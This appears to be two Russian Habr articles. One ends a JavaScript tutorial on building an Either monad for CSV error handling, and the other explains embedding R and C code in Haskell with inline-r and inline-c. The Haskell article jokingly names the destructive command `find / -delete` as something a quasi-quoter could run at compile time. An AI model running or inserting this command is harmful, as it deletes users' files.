const rowObj = fieldsEither.map(zipRow(headerFields));
// ... But now we have another problem ...
}
```
#### Join
Использовать `.map()` для запуска `splitFields()` — это нормально, поскольку `.splitFields()` не возвращает Either. Но когда приходится запускать `zipRow()`, возникает проблема, потому что он возвращает Either. Так что при использовании `.map()` мы в конечном итоге утыкаемся в Either внутри Either. Если пойти дальше, то застрянем, пока не запустим `.map()` внутри `.map()`. Это тоже не сработает. Нужен какой-то способ объединить эти вложенные Either. Так что напишем новый метод, который назовём `.join()`:
```
/**
*Left represents the sad path.
*/
class Left {
constructor(val) {
this._val = val;
}
map() {
// Left is the sad path
// so we do nothing
return this;
}
join() {
// On the sad path, we don't
// do anything with join
return this;
}
toString() {
const str = this._val.toString();
return `Left(${str})`;
}
}
```
```
/**
* Right represents the happy path
*/
class Right {
constructor(val) {
this._val = val;
}
map(fn) {
return new Right(
fn(this._val)
);
}
join() {
if ((this._val instanceof Left)
|| (this._val instanceof Right))
{
return this._val;
}
return this;
}
toString() {
const str = this._val.toString();
return `Right(${str})`;
}
}
```
Теперь можем «распаковать» свои активы:
```
function processRow(headerFields, row) {
const fieldsEither = right(row).map(splitFields);
const rowObj = fieldsEither.map(zipRow(headerFields)).join();
const rowObjWithDate = rowObj.map(addDateStr).join();
// Slowly getting better... but what do we return?
}
```
#### Chain
Мы далеко продвинулись. Но приходится всё время помнить о вызове `.join()`, что раздражает. Однако у нас есть распространённый паттерн последовательного вызова `.map()` и `.join()`, так что создадим для него метод быстрого доступа. Назовём его `chain()` (цепь), потому что он связывает вместе функции, которые возвращают Left или Right.
```
/**
*Left represents the sad path.
*/
class Left {
constructor(val) {
this._val = val;
}
map() {
// Left is the sad path
// so we do nothing
return this;
}
join() {
// On the sad path, we don't
// do anything with join
return this;
}
chain() {
// Boring sad path,
// do nothing.
return this;
}
toString() {
const str = this._val.toString();
return `Left(${str})`;
}
}
```
```
/**
* Right represents the happy path
*/
class Right {
constructor(val) {
this._val = val;
}
map(fn) {
return new Right(
fn(this._val)
);
}
join() {
if ((this._val instanceof Left)
|| (this._val instanceof Right)) {
return this._val;
}
return this;
}
chain(fn) {
return fn(this._val);
}
toString() {
const str = this._val.toString();
return `Right(${str})`;
}
}
```
Возвращаясь к аналогии с железнодорожными путями `.chain()` переключает рельсы, если мы сталкиваемся с ошибкой. Впрочем, это проще показать на диаграмме.
*При возникновении ошибки метод .chain() позволяет переключиться на левый путь. Обратите внимание, что переключатели работают только в одну сторону*
Код стал немного чище:
```
function processRow(headerFields, row) {
const fieldsEither = right(row).map(splitFields);
const rowObj = fieldsEither.chain(zipRow(headerFields));
const rowObjWithDate = rowObj.chain(addDateStr);
// Slowly getting better... but what do we return?
}
```
#### Сделать что-то со значениями
Рефакторинг функции `processRow()` почти завершён. Но что происходит, когда мы возвращаем значение? В конце концов, мы хотим предпринять различные действия в зависимости от того, какая у нас ситуация: Left или Right. Поэтому напишем функцию, которая будет принимать соответствующие меры:
```
function either(leftFunc, rightFunc, e) {
return (e instanceof Left) ? leftFunc(e._val) : rightFunc(e._val);
}
```
Я схитрил и использовал внутренние значения объектов Left или Right. Но сделайте вид, что вы этого не заметили. Теперь можно завершить нашу функцию:
```
function processRow(headerFields, row) {
const fieldsEither = right(row).map(splitFields);
const rowObj = fieldsEither.chain(zipRow(headerFields));
const rowObjWithDate = rowObj.chain(addDateStr);
return either(showError, rowToMessage, rowObjWithDate);
}
```
И если мы чувствуем себя особенно умными, то можем опять применять свободный синтаксис:
```
function processRow(headerFields, row) {
const rowObjWithDate = right(row)
.map(splitFields)
.chain(zipRow(headerFields))
.chain(addDateStr);
return either(showError, rowToMessage, rowObjWithDate);
}
```
Обе версии довольно красивые. Никаких конструкций `try...catch`. И никаких if-операторов в функции верхнего уровня. Если есть проблема с какой-то конкретной строкой, мы просто показываем сообщение об ошибке в конце. И обратите внимание, что в `processRow()` мы упоминаем Left или Right единственный раз в самом начале, когда вызываем `right()`. В остальном используются только методы `.map()` и `.chain()` для применения следующей функции.
#### ap и lift
Это выглядит хорошо, но осталось рассмотреть один последний сценарий. Придерживаясь нашего примера, давайте посмотрим, как можно обрабатывать все данные CSV, а не только каждую строку по отдельности. Нам понадобится вспомогательная функция (хелпер) или три:
```
function splitCSVToRows(csvData) {
// There should always be a header row... so if there's no
// newline character, something is wrong.
return (csvData.indexOf('\n') < 0)
? left('No header row found in CSV data')
: right(csvData.split('\n'));
}
function processRows(headerFields, dataRows) {
// Note this is Array map, not Either map.
return dataRows.map(row => processRow(headerFields, row));
}
function showMessages(messages) {
return `${messages.join('\n')}
`;
}
```
Итак, у нас появился хелпер, который разбивает CSV на строки. И мы возвращаемся к варианту с Either. Теперь можно использовать `.map()` и некоторые lodash-функции для выделения строки заголовка из строк данных. Но мы оказываемся в интересной ситуации…
```
function csvToMessages(csvData) {
const csvRows = splitCSVToRows(csvData);
const headerFields = csvRows.map(_.head).map(splitFields);
const dataRows = csvRows.map(_.tail);
// What’s next?
}
```
У нас есть поля заголовка и строки данных, готовые к отображению с помощью `processRows()`. Но `headerFields` и `dataRows` обёрнуты в Either. Нужен какой-то способ преобразовать `processRows()` в функцию, которая работает с Either. Для начала проведём каррирование `processRows`.
```
function processRows(headerFields) {
return function processRowsWithHeaderFields(dataRows) {
// Note this is Array map, not Either map.
return dataRows.map(row => processRow(headerFields, row));
};
}
```
Теперь всё готово для эксперимента. У нас `headerFields`, который представляет собой Either, обёрнутый вокруг массива. Что будет, если мы возьмём `headerFields` и вызовем на нём `.map()` с `processRows()`?
```
function csvToMessages(csvData) {
const csvRows = splitCSVToRows(csvData);
const headerFields = csvRows.map(_.head).map(splitFields);
const dataRows = csvRows.map(_.tail);
// How will we pass headerFields and dataRows to
// processRows() ?
const funcInEither = headerFields.map(processRows);
}
```
С помощью .map() здесь вызывается внешняя функция `processRows()`, но не внутренняя. Другими словами, `processRows()` возвращает функцию. И поскольку это `.map()`, мы всё ещё получаем обратно Either. Таким образом, в итоге получается функция внутри Either, которая получила название `funcInEither`. Она принимает массив строк и возвращает массив других строк. Нужно каким-то образом взять эту функцию и вызвать её со значением внутри `dataRows`. Для этого нужно добавить ещё один метод в наши классы Left и Right. Назовём его `.ap()` в соответствии со [стандартом](https://github.com/fantasyland/fantasy-land#applicative).
Как обычно, метод ничего не делает на треке Left:
```
// In Left (the sad path)
ap() {
return this;
}
```
А для класса Right мы ожидаем другой Either с функцией:
```
// In Right (the happy path)
ap(otherEither) {
const functionToRun = otherEither._val;
return this.map(functionToRun);
}
```
Теперь можем завершить нашу основную функцию:
```
function csvToMessages(csvData) {
const csvRows = splitCSVToRows(csvData);
const headerFields = csvRows.map(_.head).map(splitFields);
const dataRows = csvRows.map(_.tail);
const funcInEither = headerFields.map(processRows);
const messagesArr = dataRows.ap(funcInEither);
return either(showError, showMessages, messagesArr);
}
```
Суть метода `.ap()` сразу немного понять (спецификации Fantasy Land путано его описывают, а в большинстве других языков метод используется наоборот). Если описать её проще, то вы говорите: «У меня есть функция, которая обычно принимает два простых значения. Я хочу превратить её в функцию, которая принимает два Either». При наличии `.ap()` мы можем написать функцию, которая будет делать именно это. Назовём её `liftA2()`, опять же в соответствии со стандартным названием. Она берёт простую функцию, ожидающую два аргумента, и «поднимает» (lift) её для работы с «аппликативами». (это объекты, которые содержат и метод `.ap()`, и метод `.of()`). Так, liftA2 является сокращением для «аппликатив lift, два параметра».
Таким образом, функция `liftA2` может выглядеть примерно так:
```
function liftA2(func) {
return function runApplicativeFunc(a, b) {
return b.ap(a.map(func));
};
}
```
Наша функция верхнего уровня будет использовать его следующим образом:
```
function csvToMessages(csvData) {
const csvRows = splitCSVToRows(csvData);
const headerFields = csvRows.map(_.head).map(splitFields);
const dataRows = csvRows.map(_.tail);
const processRowsA = liftA2(processRows);
const messagesArr = processRowsA(headerFields, dataRows);
return either(showError, showMessages, messagesArr);
}
```
[Код на CodePen](https://codepen.io/jrsinclair/pen/GYbJaW).
Правда? Это всё?
================
Вы спросите, чем это лучше простых исключений? Не кажется ли мне, что это слишком сложный способ решения простой проблемы? Давайте сначала подумаем, почему нам нравятся исключения. Если бы не было исключений, пришлось бы повсюду писать много if-операторов. Мы будем вечно писать код по принципу «если последнее сработает, продолжай, иначе обработай ошибку». И мы должны обрабатывать эти ошибки во всём коде. Это затрудняет понимание того, что происходит. Исключения позволяют выйти из программы, если что-то пошло не так. Поэтому не нужно писать все эти if'ы. Можно сосредоточиться на удачном пути выполнения.
Но есть одна загвоздка. Исключения слишком многое скрывают. Когда вы создаёте исключение, вы переносите проблему обработки ошибки на какую-то другую функцию. Слишком легко игнорировать исключение, которое выплывет до самого верхнего уровня. Приятная сторона Either в том, что он позволяет выпрыгнуть из основного потока программы, словно с исключением. И работает честно. Вы получаете или Right, или Left. Вы не можете притвориться, что вариант Left невозможен. В конце концов, вы должны вытащить значение вызовом вроде `either()`.
Я знаю, это звучит, как некая сложность. Но взгляните на код, который мы написали (не классы, а функции, которые их используют). Там не так много кода обработки исключений. Его почти нет, за исключением вызова `either()` в конце `csvToMessages()` и `processRow()`. В том-то всё и дело. С Either у вас чистая обработка ошибок, которую невозможно случайно забыть. Без Either топаете через код и везде добавляете отступы.
Это не означает, что никогда нельзя использовать `try...catch`. Иногда это правильный инструмент, и это нормально. Но это не единственный инструмент. Either даёт некоторые преимущества, которых нет у `try...catch`. Так что дайте шанс этой монаде. Даже если поначалу сложно, думаю, вам понравится. Только, пожалуйста, не используйте реализацию из этой статьи. Попробуйте одну из известных библиотек, таких как [Crocks](https://evilsoft.github.io/crocks/), [Sanctuary](https://sanctuary.js.org/), [Folktale](https://folktale.origamitower.com/) или [Monet](https://monet.github.io/monet.js/). Они лучше обслуживаются. И здесь я для простоты кое-что пропустил.
> Дополнительные ресурсы
> ======================
>
>
>
> * «[Наиболее адекватное руководство профессора Фрисби по функциональному программированию](https://github.com/MostlyAdequate/mostly-adequate-guide)», [Брайан Лонсдорф](https://twitter.com/drboolean) (и др.)
> * [Спецификация Fantasy Land](https://github.com/fantasyland/fantasy-land)
> * «[Практическое введение в монады JavaScript: Either](https://tech.evojam.com/2016/03/21/practical-intro-to-monads-in-javascript-either/)», [Якуб Строевски](https://twitter.com/ulfryk)
> * «[Удивительно таинственный JavaScript: монада](https://jrsinclair.com/articles/2016/marvellously-mysterious-javascript-maybe-monad/)», [ваш покорный слуга](https://twitter.com/jrsinclair)
> | https://habr.com/ru/post/457098/ | null | ru | null |
# Включение внешних языков в программы на Haskell
В данной статье приведено краткое описание техники, которое позволяет использовать в программах на Haskell библиотеки, написанные на других языках программирования. При этом нет необходимости ни переписывать эти библиотеки на Haskell, ни писать бесчисленные обертки на C, ни писать явные байндинги. В получающейся программе можно как напрямую вызывать “чужой” код, так и вызывать из чужого кода Haskell функции. Сам же код функций может быть написан на расширенном подключаемом языке, что позволяет работать с ним специалистам в подключаемых языках, которые, к сожалению, пока не знакомы с Haskell.
Данная задача возникла не на пустом месте, а потребовалась для одной корпорации для того, чтобы использовать вместе код написанный на R и модели написанные на Haskell. При этом желательно было его использовать так, чтобы специалистам программирующем на R не пришлось изучать и Haskell.
Таким образом задача состояла в том, чтобы можно было эффективным образом включать библиотеки и код на других языках в Haskell. Под эффективностью, в данном случае, понимается, отсутствие накладных расходов на преобразования данных при передаче между функциями в разных языках, насколько это возможно, и максимально дешевых вызовах функций между языками. На данный момент написано две подобные библиотеки [inline-r](https://hackage.haskell.org/package/inline-r) и позже [inline-c](https://hackage.haskell.org/package/inline-c), на примере, которых, я буду пояснять те или иные концепции в данной технике.
* inline-c — достаточно простая библиотека, позволяющая делать вставки C кода в код haskell. Практически, эта библиотека является автоматизацией достаточно простой процедуры написания собственных вспомогательных функций и создания FFI обёрток для них. Данная библиотека показывает, как можно сделать включение языка с простым (отсутсвующим runtime) в код на Haskell.
* inline-r — библиотека позволяющая включать код на R в Haskell код, она уже достаточно интересна, поскольку показывает как можно объединять разные runtime системы. Включать динамически типизированный код на R в код на Haskell, и эффективно управлять данными в системах, где есть два сборщика мусора.
Для того, чтобы реализовать подобное решение, нужно было решить следующие вопросы:
1. как подключать код на других языках,
2. какой должен быть синтаксис вставок на другого языка; способ ввода кода,
3. как преобразовать данные так, чтобы обе библиотеки могли с ними работать
а так же другие вопросы возникающие с различными RTS(runtime system) системами исполнения, такие как несколько сборщиков мусора, использование динамической типизации
#### Встраивание системы исполнения
Для включения простых языков (C, Rust) не имеющих RTS все достаточно просто, в них средой исполнения является программа на Haskell. В этом случае Тут только поддержка интерфейса вызова внешних функций FFI, и C интерейс подходит для большинства случаев.
Однако в случае наличия системы исполнения, как в R, возникает вопрос способе её запуска и коммуникации. Одним из стандартных подходов к решению данной проблемы является запуск “интерпретатора” (программы целевом языке) отдельным процессом и использование, какого-либо из средств RPC для обмена сообщениями между им и исходной программой. Данный способ однако имеет несколько минусов:
Если среда исполнения не имеет аналога метода `eval`, то необходимо будет писать его самостоятельно. Возможно потребуется специализация под конкретную задачу, что снизит общность решения. В любом случае при таком способе возникают вопросы с безопасностью исполнения.
Для передачи данных испонителю требуется их отправка по сети (возможно уменьшить сложность при использование zero-copy), сериализация и десериализация. Альтернативой может быть создание механизмов передачи основанных на использовании общей памяти, что однако, может быть достаточно сложной задачей в языках, где прямой доступ к памяти ограничен или возникают дополнительные сложности, такие как использование копирующего сборщика мусора.
Из плюсов данного способа — простота решения, так же в нём нету необходимости интеграции event loop, нужной, например, для отрисовки графики.
Данные ограничения обычно несовместимы с требованием минимальных накладных расходов. Поэтому было часто лучше встраивать среду исполения в Haskell. Такое решение открывает сразу несколько дополнительных возможностей:
* поскольку мы работаем с общей памятью, то исчезает лишняя работа по сериализации и передаче данных;
* появляется возможность использовать C API (api предоставляемый экспортируемыми из библиотеки фунциями с C интерфейсом), при его наличии, больший контроль за ошибками интерпретатора/программы;
* поскольку такой программе «больше известно» о данных и функциях, которые могут их исполнять, то она может дополнительно оптимизировать исполнение.
В данном решении возможны технические сложности, например, если среда исполнения языка накладывает дополнительные ограничения, например использует TLS (Thread Local Storage) или является принципиально однопоточной. В первом случае необходимо использовать [Control.Concurrent.forkOS](https://hackage.haskell.org/package/base-4.8.1.0/docs/Control-Concurrent.html#v:forkOS) для создания ветки привязанной с нити OS (или использовать только главную нить). Во-втором необходимо сериализовать запросы на стороне языка, например, это можно сделать при помощи достаточно простого «паттерна»:
```
{-# LANGUAGE ExistentialQuantification #-}
import Control.Concurrent
data Task = forall a . Task (IO a) (MVar (Either SomeException a))
sendTask :: Chan -> IO a -> IO a
sendTask chan f = do
result <- newEmptyMVar
writeChan chan (Task f result)
takeMVar result
runTasks :: Chan -> IO ()
runTasks chan = forever $ do
Task f result <- readChan chan
mask_ $ do r <- try f
putMVar result r
```
В данном подходе могут быть некоторые вариации, например хранить канал в окружении `ReaderT Chan` или глобальной переменной, если единственность этого канала должна быть гарантирована на уровне программы (вы должны трижды подумать перед тем, как выбрать данное решение, но формально оно может быть оправдано). Так же в некоторых случаях лучше передавать в канал действие формирующееся вызывающим, где он будет сам класть результат в MVar для ответа. Но семантически (с точностью (и) до работы с исключениями и завершению исполнения этого потока) другие решения будут эквивалентны данному.
#### Передача данных
При передаче данных первый из вопросов, который необходимо решить, это каким образом представлять данные из внешнего языка в Haskell, самые простые типы, которые это позволяют являются C-типы: CChar, CInt, CString, CStringLen, Ptr и прочие. Которые являются отображениями C-типов на типы в Haskell и достаточны для представления данных из низкоуровневых языков. Для типобезопасной работы с ними такие данные можно обернуть в типы обертки (newtypes), благодаря, которым с одной стороны система типов позволяет, а другой они не вносят совершенно никакой нагрузки в рантайме.
Поскольку подключаемые языки могут быть динамическими, как в частности, R возникает вопрос, как представить их значения в языке. При этом хочется по возможности иметь статически известную информацию о типах там, где это возможно. В этом случае компилятор может дать больше гарантий корректности кода, и возможно генерировать код по типам (см. классы типов в Haskell). Тут можно вспомнить утверждение о том, что языки с динамической системой типов являются uni-typed языками, т.е. в статике вся вселенная представимых там типов описывается одним единственными типом. Использовав такой подход можно представить значение в языке, как указатель тегированный фантомным типом, указывающим на тип выражения (вместо указателя может быть индекс в таблице или другой идентификатор уникально определяющий значение, в зависимости от того, как они представляются во включаемом языке)
```
data SEXPTYPE -- generated by hsc2hs
newtype SEXP a = SEXP (Ptr SEXPTYPE)
```
`SEXPTYPE` это тип экспортируемый в C интерфейс языком. Для того же, чтобы указать, что, как это и полагается в динамических языках, выражение может быть неизвестного типа, мы используем следующий подход.
Для передачи информации о типах, можно использовать расширения `DataKinds`, которое возволяет поднимать конструкторы простых типов данных на уровень типов, т.е. создавать тип, например `SomeThing ‘False`. Далее мы перечисляем все возможные примитивные типы в подключаемом языке, например в случае R это
```
data SEXPTYPE = NIL | Symbol | List | Closure | Int | Real ... deriving (Eq,Ord,Show)
```
Теперь, если мы знаем, что выражение имеет определенный тип (например было создано в Haskell), то мы можем явно записать его тип как `SEXP ‘List` или `SEXP ‘Real`. Однако при работе с динамическим языком этого не достаточно, т.к. там не известны все возвращаемые типы и хотелось бы иметь возможность передавать по настоящему динамический тип. Для этого мы можем воспользоваться расширением Rank2Types позволяющим записать следующий тип:
```
data SomeSEXP = SomeSEXP (forall a . SEXP a)
```
Данный код обозначает, что `SomeSEXP` для любого `a` выражение `SomeSEXP a` корректно, т.е. в точности отражает факт динамического значения. Теперь методы внешнего языка могут спокойно возвращать `SomeSEXP`, для преобрахования типа к известному можно создать фунцию
```
cast :: SomeSEXP -> Maybe (SEXP a)
```
которая будет проверять тип выражение, и или возвращать выражение или ошибку.
Ещё хотелось бы иметь возможность иметь тип сумму, так как в некоторых функциях на вход можно подавать переменне различных типов.
Для создания таких типов можно воспользоваться расширением TypeFamilies, и создать новый тип `In` который проверяет содержится ли данный тип в списке разрешенных типов:
```
infix 1 :∈
-- | The predicate @a :∈ as@ states that @a@ is a member type of the set @as@.
type family (a :: SEXPTYPE) :∈ (as :: [SEXPTYPE]) :: Constraint where
'Any :∈ as = ()
a :∈ (a ': as) = ()
a :∈ (b ': as) = a :∈ as
type In a b = a :∈ b
```
Данное код работает так же как и обычное сопоставление с образцом на уровне типов, где `()` обозначает успех, а невозможность проверить утверждение ошибку. Рассмотрим на примере, `In ‘Int (Env ‘: Int ‘: ‘[])`. Сначала мы попадаем во третье условие, поскольку `Int` не совпадает с `‘Env`, и тип получается равен `In ‘Int (‘Int ‘: ‘[])`. Его компилятор упрощает дальше и мы попадаем во второе выражение, из которого выводим успех, в случае если бы мы проверяли `‘Real`, то мы бы дошли до `In ‘Real ‘[]` для которого образца нет и соотвественно бы возникла ошибка типов.
Проблемой этого подхода является то, что тип не инъективен, т.е. если у нас есть выражение `foo :: In a [‘Int,’Real] => a -> SEXP ‘Int`, то мы не сможем вывести тип `a`, что может быть не удобно.
В таком представлении можно уже работать с функциями используя C API и добиваться некоторого удобства написания кода. Сперва может показаться, что данный подход помешает использованию возможностью современных языков программирования, таких, как сравнение с образцом и алгебраические структуры данных, но это не так.
Для того, чтобы использовать такие структуры мы можем воспользоваться следующей техникой. Мы создаем образ для структуры (view) в нём мы определяем только неглубокое (shallow) представление структуры, это делается для того, чтобы не возникало необходимости создавать в памяти все отображение структуры, более того, в общем случае компилятор полностью убирает все промежуточные стуктур, позволяя удобно работать со внешними структурами данных без накладных расходов:
```
data HExp :: * -> SEXPTYPE -> * where
-- Primitive types. The field names match those of .
Nil :: HExp R.Nil
-- Fields: pname, value, internal.
Symbol :: SEXP R.Char
-> SEXP a
-> SEXP b
-> HExp R.Symbol
-- Fields: carval, cdrval, tagval.
List :: (R.IsPairList b, c :∈ [R.Symbol, R.Nil])
=> SEXP a
-> SEXP b
-> SEXP c
-> HExp R.List
...
```
И введем фунцию `hexp` создающую такой образ:
```
hexp :: SEXP s a -> HExp s a
```
Далее при помощи расширения `ViewPatterns`можно использовать сопоставление с образцом:
```
foo (hexp -> Symbol s) = ...
```
Для полноты нужна функция
```
unhexp :: HExp s a -> m s (SEXP a)
```
Важно заметить, что тут не выполяется ожидаемое правило `unhexp . hexp = id` поскольку unhexp всегда создает новую структуру.
Данная техника позволяет удобно работать с внешними сложными структурами. И может быть перенесена на любой внешний язык программирования. Последним шагом тут должно быть преобразование marshaling структур данных Haskell в структуры внешнего языка, для этого можно ввести класс типов
```
class Literal a ty | a -> ty where
-- | Internal function for converting a literal to a 'SEXP' value. You
-- probably want to be using 'mkSEXP' instead.
mkSEXP :: a -> IO (SEXP V ty)
fromSEXP :: SEXP s ty -> a
```
`| a -> ty` это функциональная зависимость между параметрами, которая говорит, что тип `a` однозначно определят тип `ty`. Эта информация сильно помогает компилятору при выводе типов и не возволяет создать ошибочные инстансы. Далее для нативных типов в Haskell мы опредяем функции перевода.
#### Написание кода на внешнем языке
Для написания кода мы можем создавать внутренний встроенный язык (e-dsl) (правда в высокоуровнем языке, границы между библиотекой и встроенным специализированным языком весьма размыты), или же полноценный dsl. Мы решили использовать “DSL”, т.е. на самом деле слегка модифицированный подключаемый язык. Данный способ выглядит более удобным, поскольку в этом случае код могут писать те, кто не знает Haskell, но знает встраиваемый язык. Как это можно огранизовать, и как это выглядит.
Для генерации исходного кода на Haskell, существует расширение Template Haskell, который позволяет строить AST, однако в нём есть серия ограничений, плюс так же проверка типов весьма ограничена, т.к. у всех генерируемых выражений один и тот же типа `Q Exp`, соотвественно компилятор не может проверить часть контрактов и в итоге может генерироваться невалидный код, который будет отклонён компилятором при генерации кода.
Также есть возможность создания квази цитат QuasiQuotes `[generator|some-code |]` тут `generator` это функция, которая будет разбирать код `some-code` и получать результат. Результатом может быть код на Haskell сгенерированный с помощью TemplateHaskell, созданние файлов (например внешние файлы на C), вызов ~~`find / -delete`~~ или в принципе любая работа.
Квази-цитирование является отличным кандидатом для включения кода, в мы можем создать новый парсер. Далее при компиляции проекта, мы вызываем R и передаем ему исходный код и получаем назад AST. После обрабатываем данную AST и генерируем код, который в runtime будет строить такое же AST с учетом подстановки переменных из Haskell.
Например простой код:
```
let x = [1,2,3]
in [r| x_hs + x_hs|]
```
Превращаестся в:
```
eval $ unhexpIO =<< Lang (installIO “+”) (unHexp $ List (mkSEXP x) (List (mkSEXP x) Nil)
```
На самом деле код чуть-чуть сложнее для восприятия, поскольку генерируемый код аккуратно следит за защитой ресурсов, подробнее в статье про GC.
#### Регионы и отображение системы работы с памятью
Наибольшая сложность при подобном объединении языков является взаимодействие со сборщиками мусора. Особенно проблема становится сложной, в том случае если сборщик мусора может перемещать объекты при сборке. К счастью ни С (в котором сборщик мусора отсуствует), ни к R объекты не могут быть перемещены, что сильно упрощает работу с ними.
Наиболее простой механизм безопасной работы это создание специального объекта, который не дает удалить защищаемый объект, и его временем жизни можно управлять из другого языка, для Haskell это:
`Foreign.StablePtr.newStablePtr` — создание “защищающего” объекта
`Foreign.StablePtr.freeStablePtr` — удаление “защищающего” объекта
`extern void hs_free_stable_ptr (HsStablePtr sp);` — удаление “защищающего” объекта из внешнего языка
В R это:
`preserveObject` — отметка объекта как используемого
`releaseObject` — отметка объекта как не используемого
Тогда в случае использования объекта из R в haskell можно делать
```
newtype Protected a = Prected (ForeignPtr SEXPPTR)
protect (SEXP p) = do
preserveObject p
newForeignPtr p releaseObject
```
Данный метод достаточно хорош, однако применим не для всех языков, т.к. необходимого API может не быть, и он не работает для объектов на “стеке”, ну и, наконец, он может иметь очень большую стоимость, например, цена создания и удаления объекта в R `O(N)`, где `N` количество защищенных таким образом объектов. Поэтому использование такого метода как основного это не лучшая затея.
Однако это не единственный, и не основной, способ защиты объектов в R. Дополнительно к данному методу защиты существует и другой, основанный на “защитном стеке” (protection stack), любой объект может быть положен на стек и со стека можно снять N объектов, данные операции имеют сложность O(1). Такой подход к защите объектов используется как в самом R, так и в функциях написанных на С. И очень хотелось бы данный способ отобразить и на Haskell. И для это можно реализовать при помощи статических регионов, данная техника была описана в [статье](http://okmij.org/ftp/Haskell/regions.html) Олега Киселева.
Замечу, что в силу особенностей системы сборки мусора в R, данный подход отличается от оригинального решения, хотя они и эквивалентны по выразительности
newtype R s m a = R { runR :: ReaderT (IORef Int) m a }
deriving (Functor, Applicative, Monad)
В `IORef` мы храним количество объектов выделенных на данном сегменте “стека”, так, что при выходе мы можем всех их освободить. Далее вводится вспомогательная функция:
```
runRegion :: (forall s . R s IO a) -> IO a
runRegion f = do
ref <- newIORef 0
runReaderT (runR f) ref
```
и основная функция:
```
region :: (forall s . R (s m) m a) -> m a
region f = … аналогично
```
Теперь мы должны расширить тип `SEXP` дополнительной фантомной переменной `s`, обозначающей регион, в котором данная переменная была выделена или защищена.
Тут s играет роль региона, дополнительно введем 2 региона:
`data V` — пустой регион, обозначает, что переменная не принадлежит никакому сегменту стека и не защищена (может быть удалена при следующем выделении памяти)
`data G` — глобальный регион, обозначает, что переменная была защищена при помощи механизма (preserve) и может быть использована во всех регионах.
А при помощи функции region мы можем строить иерархии структур `forall s1 s2 s3 . s1 (s2 s3 V))`.
Наиболее интересным тут является то, что мы можем ввести полурешетку (lattice) замкнутую относительно операции вложения регионов (region). В этом случае имеем, что:
`V < .. < s2 (s1) < s1 < G`
В этом случае мы знаем, что мы можем безопасно использовать элементы из “большего” региона в меньшем и можем или ввести операцию
```
loosen :: (s1 < s2) => SEXP s2 a -> SEXP s1 a
или писать методы таким образом, чтобы позволялось использовать операции из старшего региона:
someOperation :: (s < s1, s < s2) => SEXP s1 Int -> SEXP s2 Int -> R s (SEXP s Int)
```
Осталось только создать отношения в промежуточных регионах:
```
type Ancestor = (<)
class Ancestor s s1
instance Ancestor (R s m) (R s m)
instance Ancestor parent region => Ancestor parent (R s region)
```
#### Заключение
Выше описаны основные элементы техники, которая может быть применена для включения других языков в Haskell. Техника может быть применена для включения кода на низкоуровневых языках, для увеличения эффективности кода (там, где это уместно и действительно её увеличивает), таких как `C` или `Rust`. Или языков с большим количеством библиотек, что может позволить работать с удобным языком программирования, не переделывая уже проведенную работу, например `python`, или специализированных языков вроде `maxima`,`reduce` или проприетарных аналогов.
Так же я понимаю, что тут все направления: взаимодействие с внешним кодом, создание регионов, генерация кода были рассмотрены весьма поверхности и если нужно рассмотреть их подробнее, то я могу сделать это в следующих статьях. | https://habr.com/ru/post/269939/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.